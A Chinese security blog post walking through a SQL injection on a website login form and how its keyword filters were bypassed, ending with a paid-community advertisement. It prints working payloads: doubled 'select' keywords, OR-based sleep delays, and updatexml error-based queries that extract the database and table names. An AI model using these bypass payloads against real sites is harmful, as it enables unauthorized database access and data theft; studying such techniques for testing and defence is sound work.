甲方让我复现SQL注入绕过复现….我懵了…….
甲方让我复现SQL注入绕过复现….我懵了…….
渗透安全团队 2024-03-01 22:42
前言
开始复现
发现一处站点存在废弃的登录框,于是抓包想找一下登录接口有没有什么洞
登录处抓包发现单引号会报错,出现了sql语句
尝试基本的联合注入1’union select 1,2,3#
发现select被过滤了,尝试双写绕过一下1’union selselectect 1,2,3#,成功绕过,但列数不一样。
当尝试到14列的时候发现页面正常,共有14列
但此时14列中均无回显点只能尝试盲注
尝试最基本的1‘and
sleep(10)#
很明显and被过滤了尝试下双写也不行
尝试-1‘or sleep(10)#成功延迟了10秒回显
尝试-1′ or if((length(database())>10,sleep(5),1)#
发现>被过滤了,看样子是HTML编码
后又测试发现=也被过滤了,尝试使用in关键字-1 or substr(username,1,1) in (‘t’);
没想到in也被过滤了,双写也不行的那种。这里考虑了很久唯一离得开=<>和and的盲注语句只有1
or strcmp(ascii(substr(username,1,1)),117)#,可他在这个环境下不引起任何报错也不会有回显。
继续尝试报错注入:
由于select被过滤所以这里双写select
‘or(selselectect
updatexml(1,concat(0x7e,(seselectlect database())),0x7e))
成功通过报错注入得到数据库名
想着继续查数据表(双写select,=用like替换)
‘or(seselectlect updatexml(1,concat(0x7e,(selselectect
group_concat(table_name)from information_schema.tables where table_schemalikedatabase())),0x7e))%23
但此时where被过滤了,尝试双写无果。
思索了片刻后发现这里不小心复制的是and的语句,但这里的and完整显示出来了,可能的情况就是他过滤的不是and而是%20and%20这种格式,那么我可以猜测where也是连同两边的%20(空格)一起过滤掉的,于是把语句修改为如下,用()替换%20:
‘and(selselectect%20updatexml(1,concat(0x7e,(selselectect%20group_concat(table_name)from(information_schema.tables)where(table_schema)like%20database())),0x7e))%23
成功绕过得到所有表名
其实细想来前面的所有过滤都可能只是为了防止sql注入又尽量不干涉用户的注册名做的针对%20xxx%20的格式进行的过滤,使用()代替空格也能绕过前面其他手法的注入。
那么后面的爆列名爆字段方法大同小异,本次仅为学习测试,不再进行后续操作。
总结
在遇到SQL注入或XSS注入需要绕过时,若非为了效率的话,可以多尝试不同的思路,每一次实践都是学习的过程。
★
付费圈子
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示****
加入安全交流群
[ ](http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247489372&idx=1&sn=5e14ba5fa59059fb1ee405e56ef90d40&chksm=c175eaf3f60263e5ef5415a8a9fc134f0890fdb9c25ab956116d17109baf98b3bd6bed572a2d&scene=21#wechat_redirect)
关 注 有 礼
关注下方公众号回复“
666
”可以领取一套领取黑客成长秘籍
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读
免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为此
承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦